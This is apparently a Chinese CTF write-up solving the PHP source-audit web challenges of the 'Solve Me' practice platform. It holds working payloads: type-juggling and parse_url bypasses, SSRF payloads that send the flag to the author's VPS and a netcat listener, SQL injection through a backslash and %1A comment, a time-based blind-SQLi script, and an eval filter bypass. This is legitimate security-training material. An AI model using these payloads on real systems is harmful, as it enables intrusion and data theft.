前言

最近发现了一个Web练习平台:http://solveme.peng.kr/chall里面所有的Web都是源码审计,感觉网上相关题解很少,于是抽空做了一下,写了一篇文章,欢迎大家和我多多交流!

warmup

应该是道签到题

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
    highlight_file(__FILE__); 

题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=我们反解一下即可:

<?php 
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="; echo hex2bin(strrev(bin2hex(base64_decode($str))));
 ?> 

即可得到结果:flag{582a0f2c7e302244b110cc461f5cb100}

Bad compare

题目给了源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['answer'])){
        if($_GET['answer'] === 'роВхУъесЧМ'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

其中answer需要等于一个奇怪的字符串,如果直接复制就会解析有问题(我粘贴的代码中已经解析出错了,实际上都不是ascii码中可见字符),所以我使用了一个脚本获取这串解析有误的字符串

import requests import urllib
url = "http://badcompare.solveme.peng.kr" s = requests.get(url=url) print urllib.quote(s.content[917:927]) 

得到结果

%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC 

最后提交即可

http://badcompare.solveme.peng.kr/?answer=%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC 

拿到flag:flag{446c7b68ad824cd9c1df87158717aa2b}

Winter sleep

题目给出了源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['time'])){
        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';
        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';
        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';
        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

可见我们输入一个介于5184000~7776000直接的值即可拿到flag但实际上这样我们的浏览器会sleep大量时间,显然不可取这里选择弱比较

<?php  echo 60 * 60 * 24 * 30 * 2; echo "\n"; echo 6e6; echo "\n"; echo (int)'6e6'; echo "\n"; echo 60 * 60 * 24 * 30 * 3; 

可以看以上脚本输出内容:

5184000
6000000
6
7776000 

故此访问http://wintersleep.solveme.peng.kr/?time=6e6,等待6秒,即可拿到flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}

Hard login

给出源码

<?php     error_reporting(0);
    session_start();
    require __DIR__.'/lib.php';
    if(isset($_GET['username'], $_GET['password'])){
        if(isset($_SESSION['hard_login_check'])){
            echo 'Already logged in..';
        }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
            echo 'Wrong username..';
        }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
            echo 'Wrong password..';
        }else{
            $_SESSION['hard_login_check'] = true;
            echo 'Login success!';
            header('Location: ./');
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

说实话这题真心坑……我看到后一直在尝试用户名密码……很崩溃,一直没解出来最后看到他的跳转header('Location: ./');索性尝试一下直接访问index.php,但是发现不行,会跳转回来于是尝试curl了一下

root@ubuntu-512mb-sfo2-01:/var/log/apache2# curl http://hardlogin.solveme.peng.kr/index.php flag{0c6c0da40b898083181495d760759e78}<hr><code><span style="color: #000000"> 

立刻拿到flag……泪崩

URL filtering

看到代码

<?php     error_reporting(0);
    require __DIR__."/lib.php";
    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);
    $params = explode("&", $url_query);
    foreach($params as $param){
        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }
        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }
    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }
    highlight_file(__FILE__); 

看到过滤

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        } 

但是题目却要求我们使用do_you_want_flag=yes来获取flag显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作此时相当parse_url一个解析漏洞,详情可以戳我的这篇文章:

http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/ 

所以我最后的bypass payload为:

http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes 

即可拿到flag:flag{dce9d958be17f0f360b8148706e87bf2}

hashcollision

看到源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['foo'], $_GET['bar'])){
        if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
            die('Too long');
        }
        if($_GET['foo'] === $_GET['bar']){
            die('Same value');
        }
        if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
            die('Different hash');
        }
        echo $flag, '<hr>';
    }
    highlight_file(__FILE__); 

可以看到要求我们用不同的值,并且sha512相等,所以立刻想到数组绕过漏洞

http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2 

访问即可拿到flag:flag{0cec577bd45696ab552fe3ab6110c35b}

Array2String

拿到题目直接给出源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    $value = $_GET['value'];
    $username = $_GET['username'];
    $password = $_GET['password'];
    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);
        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }
    highlight_file(__FILE__); 

这里要求不能输入username,并且输入的vaule不在ascii码可见范围内但是最后又要求value经过chr后拼接的username为’15th_HackingCamp’这里我的第一反应是利用强转和弱比较之类的trick,所以我首先构造了脚本

$i=0; while ($i <= 100) {
    $test = $i."e1"; if ($test > 32 && $test < 127)
    {
    } else { if ((ord(chr($test))>32)&&(ord(chr($test))<127))
    {
        echo "test:".$test."   chr:".chr($test)."\n";
    }
    }
     $i = $i+0.1;
} 

然后很轻松得到可以Bypass的值(如下给出部分)

test:28.9e1   chr:!
test:29e1   chr:"
test:29.1e1   chr:#
test:29.2e1   chr:$
test:29.3e1   chr:%
test:29.4e1   chr:&
test:29.5e1   chr:'
test:29.6e1   chr:(
test:29.7e1   chr:)
test:29.8e1   chr:*
test:29.9e1   chr:+
test:30e1   chr:,
test:30.1e1   chr:-
test:30.2e1   chr:.
test:30.3e1   chr:/
test:30.4e1   chr:0
test:30.5e1   chr:1
test:30.6e1   chr:2
test:30.7e1   chr:3
test:30.8e1   chr:4
test:30.9e1   chr:5
test:31e1   chr:6 

容易得到payload:

http://array2string.solveme.peng.kr/?value[]=56.100000000001e1&value[]=82.1e1&value[]=88.499999999999e1&value[]=87.299999999999e1&value[]=86.399999999999e1&value[]=84.099999999999e1&value[]=60.900000000001e1&value[]=61.100000000001e1&value[]=61.900000000001e1&value[]=61.700000000001e1&value[]=62.200000000001e1&value[]=61.500000000001e1&value[]=57.900000000001e1&value[]=60.900000000001e1&value[]=62.100000000001e1&value[]=62.400000000001e1&password=simple_passw0rd 

但后来经过查阅chr()相关函数:

Note that if the number is higher than 256, it will return the number mod 256. For example :
chr(321)=A because A=65(256) 

得知chr()会自动进行mod256所以我们可以更简单的得到一个payload

http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd  

最后得到结果

Hello 15th_HackingCamp!
flag{91b966596782c89bc6eb4daa75f459d7} 

Give me a link

看到源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }
        if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
            die('Not allowed URL');
        }
        $parse = parse_url($url);
        if($parse['path'] !== '/plz_give_me'){
            die('Not allowed path');
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);
        echo 'Okay, I sent the flag.', '<hr>';
    }
    highlight_file(__FILE__); 

首先看到3个过滤1.过滤了下划线2.限制了$_SERVER['HTTP_HOST'],并且抓包不允许修改HOST3.parse_url解析后路径需为/plz_give_me这里显然1和3是冲突的然后flag的获取方式

curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag); 

和2是冲突的首先我们解决下划线被waf的问题查阅parse_url的官方手册,可以知道

url
The URL to parse. Invalid characters are replaced by _. 

无效的字符会被自动替换成下划线我们尝试一下

<?php 
$url = urldecode("http://skysec.top/%1atest%1a");
var_dump(parse_url($url)); ?> 

得到

array(3) {
  ["scheme"]=>
  string(4) "http"   ["host"]=>
  string(10) "skysec.top"   ["path"]=>
  string(7) "/_test_" } 

发现%1a可以成功被替换成下划线那么我们第一个问题解决了,下面是如何解决Host的问题在官方手册中还有这样一句

$url = 'http://username:password@hostname:9090/path?arg=value#anchor'; 

所以Host的值我们可以构造

givemealink.solveme.peng.kr@vps_ip 

去绕过检测所以最后payload为

http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame 

服务器上收到flag:

223.26.138.11 - - [15/Mar/2018:12:44:15 +0000] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 477 "-" "-" 

givemealink2

代码如下

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }
        $parse = parse_url($url);
        if(!preg_match('/^https?$/i', $parse['scheme'])){
            die('Not allowed scheme');
        }
        if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
            die('Not allowed host');
        }
        if(!preg_match('/\/plz_give_me$/', $parse['path'])){
            die('Not allowed path');
        }
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if($socket === false){
            die('Failed to create socket');
        }
        $host = gethostbyname($parse['host']);
        $port = is_null($parse['port']) ? 80 : $parse['port'];
        if(socket_connect($socket, $host, $port) === false){
            die('Failed to connect');
        }
        $send = "HEAD /".$flag." HTTP/1.1\r\n".
            "Host: ".$host.":".$port."\r\n".
            "Connection: Close\r\n".
            "\r\n\r\n";
        socket_write($socket, $send, strlen($send));
        $recv = socket_read($socket, 1024);var_dump($recv);
        if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
            die('Not allowed response');
        }
        socket_close($socket);
        echo 'Okay, I sent the flag.', '<hr>';
    }
    highlight_file(__FILE__); 

发现这题和上一题类似,但是这里对host有了新的要求:

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
            die('Not allowed host');
} 

正则要求以localhost和127开头,但是存在缺陷由于是127.0.0.1这样的形式,我们可以直接用ip2long来绕过构造脚本如下

<?php  echo ip2long("vps_ip"); ?> 

然后在vps上打开监听

nc -l -vv -p 23333 

然后发送payload:

http://givemealink2.solveme.peng.kr/?url=http://ip2long_vps_ip:23333/plz%01give%01me 

即可收到flag:flag{51e22d08303881dd898f916cb1956c4e}

Replace filter

拿到源码

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['say']) && strlen($_GET['say']) < 20){
        $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo 'What the f**k?';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

审计代码发现正则写法为:

/^(.*)flag(.*)$/ 

而这个写法是存在缺陷的:.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,也就是说,换行的话,即可破解所以payload为:

http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag 

得到flag:flag{f7b4422c4570282e64560f081701ccfa}

Hell JS

拿到网页f12是一堆js混淆用脚本跑了一下

#!/usr/bin/python # coding: utf-8 js = "......" #此处省去源码 alpha_dict = { '"f"': '(![]+[])[+[]]', '"i"': '([][[]]+[])[!![]+!![]+!![]+!![]+!![]]', '"l"': '(![]+[])[!![]+!![]]', '"t"': '(!![]+[])[+[]]', '"e"': '(!![]+[])[!![]+!![]+!![]]', '"r"': '(!![]+[])[+!![]]', '"c"': '({}+[])[!![]+!![]+!![]+!![]+!![]]', '"o"': '({}+[])[+!![]]', '"n"': '([][[]]+[])[+!![]]', '"s"': '(![]+[])[!![]+!![]+!![]]', '"u"': '(!![]+[])[!![]+!![]]', '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]', '"b"': '({}+[])[!![]+!![]]', '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]', '"a"': '(![]+[])[+!![]]', '"2"': '(!![]+!![]+[])', '"4"': '(!![]+!![]+!![]+!![]+[])', '"7"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])', '"y"': '(+(+!![]+"e"+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]', '"0"': '(+[]+[])', '"3"': '(!![]+!![]+!![]+[])', '"5"': '(!![]+!![]+!![]+!![]+!![]+[])', '"1"': '(+!![]+[])', '"9"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])', '"8"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])', '"6"': '(!![]+!![]+!![]+!![]+!![]+!![]+[])', '"y"': '(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]', '"d"': '([][[]]+[])[!![]+!![]]', '[3]': '[!![]+!![]+!![]]' } for key, value in alpha_dict.items():
    js = js.replace(value, key)
clean_dict = { '"p"': '([]["filter"]["constructor"]("return "+"location")()+[])[3]', '"constructor"': '"c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"', '"return "': '"r"+"e"+"t"+"u"+"r"+"n"+" "', '"filter"': '"f"+"i"+"l"+"t"+"e"+"r"', '"fontcolor"': '"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"', '"location"': '"l"+"o"+"c"+"a"+"t"+"i"+"o"+"n"', '"110"': '"1"+"2"+"2","3"+"2","1"+"0"+"5","1"+"1"+"0"', '"111"': '"1"+"1"+"1"', '"99"': '"9"+"9"', '"98"': '"9"+"8"', '"57"': '"5"+"7"', '"101"': '"1"+"0"+"1"', '"108"': '"1"+"0"+"8"', '"106"': '"1"+"0"+"6"', '"61"': '"6"+"1"', '"112"': '"1"+"1"+"2"', '"116"': '"1"+"1"+"6"', '"40"': '"4"+"0"', '"34"': '"3"+"4"', '"119"': '"1"+"1"+"9"', '"105"': '"1"+"0"+"5"', '"102"': '"1"+"0"+"2"', '"125"': '"1"+"2"+"5"', '"102"': '"1"+"0"+"2"', '"97"': '"9"+"7"', '"100"': '"1"+"0"+"0"', #     # '"u"': '("1"["s"+"u"+"b"]())[!![]+!![]]' } for key, value in clean_dict.items():
    js = js.replace(value, key)
print js 

得到运行结果(过长就不写全了),发现其中有大量数字:

"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125" 

这引起了我的注意随即我处理了一下

47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125 

然后调用js函数解析

document.write(String.fromCharCode(47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125)) 

得到回显:

// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); } 

可以发现flag

Anti SQLi

审计代码

<?php     // It's 'Anti SQLi' problem of 'Solve Me'.     error_reporting(0);
    require __DIR__.'/lib.php'; 
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    if(isset($id, $pw)){
        preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) and die('Hack detected');
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');
        $result = mysqli_fetch_array(
            mysqli_query(
                $con, 
                "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"             )
        );
        mysqli_close($con);
        if(isset($result)){
            if($result['no'] === '31337'){
                echo $flag;
            }else{
                echo 'Hello, ', $result['id'];
            }
        }else{
            echo 'Login failed';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

首先看过滤:

preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) 

一眼就看到好像有什么地方不对,因为之前自己写过滤犯过同样的错误

|\\| 

对于\的过滤问题,这样显然是错误的,正确的写法应该为\\\\那么这是出题人留下的提示吗?或是出题人大意了?顺着反斜杠的思路思考,猜想应该是用反斜杠吃掉一个单引号那么可以引入注释符吗?注意到过滤

|#|--[\s\xA0]| 

显然用%23去注释已经被限制死了但是–好像还有机会我们知道直接使用–是没有注释效果的但是如果使用-- 1类似的才会有效果但此时过滤了空格和%0a,以及前面的一对乱七八糟的过滤所以想用–注释并不是很轻松,那是既然出题人没有写死,说明突破点的确在此想到之前的parse_url那题的不可见字符,于是随手测试了一下发现的确未被过滤,又看到题目要求no为31337于是猜想应该是3列,并且需要union于是开始构造payload:

http://antisqli.thinkout.rf.gd/?id=\&pw=union select 1,1,1 from antisqli --%1A 

发现回显Hack detected再去看过滤

union[\s\xA0]+select 

发现中间不可以有空格,那加个all好了

http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 1,1,1 from antisqli --%1A 

得到回显:

Hello, 1 

再次尝试

http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 2,2,2 from antisqli --%1A 

又得到回显

Hello, 2 

ok,看来此题破解了最后的payload:

http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 31337,31337,31337 from antisqli --%1A 

得到flag:flag{5a0841c4738a69af352a06d282bece78}

Name check

源码如下:

<?php     error_reporting(0);
    require __DIR__.'/lib.php'; 
    if(isset($_GET['name'])){
        $name = $_GET['name'];
        if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
            echo 'Not allowed input';
            goto quit;
        }
        $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
        $res = $sql->query("
            SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in'
        ;");
        if($res === false){
            echo 'Database error';
            goto quit;
        }
        $row = $res->fetchArray(SQLITE3_NUM);
        if(
            $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
            array_sum($row) !== 4 
        ){
            echo 'Auth failed';
            goto quit;
        }
        echo $flag;
    quit:
        echo '<hr>';
    }
    highlight_file(__FILE__); 

首先看源码,如何获取flag?

if(
            $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
            array_sum($row) !== 4 
        ){
            echo 'Auth failed';
            goto quit;
        }
        echo $flag; 

从条件可以看出,我们必须让4个值的和为4从sql语句来看,满足的唯一方法就是sql的4个操作均为true也就是

SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in' 

全部满足的情况下那我们逐个分析:第一行意思为你输入的必须以a开头第二行的意思是你输入的需要有d第三行的意思是你输入的是中间是字符m)第四行就是字符以in结尾这不就是admin吗再去看过滤

if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
            echo 'Not allowed input';
            goto quit;
        } 

发现admin被过滤了那么从sqlite的特性考虑查阅手册发现:

SQLite中,连接字符串不是使用+,而是使用|| 

随即想到用||进行连接发现未被过滤,于是得到payload

http://namecheck.solveme.peng.kr/?name=adm'||'in 

I am slowly

源码如下:

<?php     // It's 'I am slowly' problem of 'Solve Me'.     error_reporting(0);
    require __DIR__.'/lib.php'; 
    $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
    $answer = $_GET['answer'];
    if(isset($answer)){
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT `count` FROM `{$table}`;")
        );
        if(!isset($result)){
            mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
            $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
            mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
        }elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        }
        $randtime = mt_rand(1, 10);
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        );
        if(isset($result) && $result['answer'] === $answer){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo $flag;
        }else{
            mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
            echo 'Go fast';
        }
quit:
        mysqli_close($con);
        echo '<hr>';
    }
    highlight_file(__FILE__); 

审计代码容易发现漏洞点:

elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        } 

只有当count === 12时才会drop表但是代码存在致命漏洞,即先进行sql查询再将count+1,然后在下一次访问后才会drop那么我们是否可以构造1.count=11时候停止2.先请求一个sleep(50)的请求此时已经经过了count===12的检测最后网页一直停止在

$result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        ); 

3.再立刻请求一个不带注入sleep的4.显然3先完成,这时候count为125.过了一会儿2完成了,由于已经经过检测,所以不会因为count===12而drop,所以成功,count+1,此时count成为13那么我们即可成功绕过count的限制进行无限制注入这里我写了一个盲注脚本

import requests
header = { "Host":"iamslowly.thinkout.rf.gd", "Cache-Control":"max-age=0", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Referer":"http://solveme.peng.kr/chall", "Accept-Language":"zh-CN,zh;q=0.8", "Cookie":"__test=a2fbff5c2fbbbf79071a4e0abbb76f3f" }
flag = "" for i in range(1,1000):
    for j in "abcdef1234567890":
        url = "http://iamslowly.thinkout.rf.gd/?i=3&answer=' or if((answer like '%s%%'),sleep(30),1)%%23"%(flag+j)
        try:
            r = requests.get(url=url,headers=header,timeout=29)
            print "i:",i,"j:",j,r.content[:10]
        except:
            flag += j
            print flag
            break 

此时即可跑出answer,提交即可得到flag

flag{e1442b9d9758c21536b61ac833600561} 

Check via eval

代码如下:

<?php     error_reporting(0);
    require __DIR__.'/lib.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo 'Not allowed length';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include/is', $_GET['flag'])) {
        echo 'Not allowed keyword';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo 'What\'s going on?';
    }
    echo '<hr>';
    highlight_file(__FILE__); 

发现过滤了

`
() [] 

导致很难调用函数和命令执行随后又想能否只能打印出flag发现过滤了

echo print require include 

后查阅资料发现可以用以下方式绕过,直接输出比如

<?=$flag='123';?> 

可以直接得到结果:123那么我们在这题中,只要构造出<?=$flag?>即可立刻输出我们要的flag,而不需要再去管sha1的相等问题那么如何构造$flag呢?可以用拼接的方式:

$a='alag';$a{0}='f'; 

于是最后的payload:

http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?> 

可以得到flag:flag{47d07abef31b3adb4a4107bd2b2b3d7e}

*本文作者:一叶飘零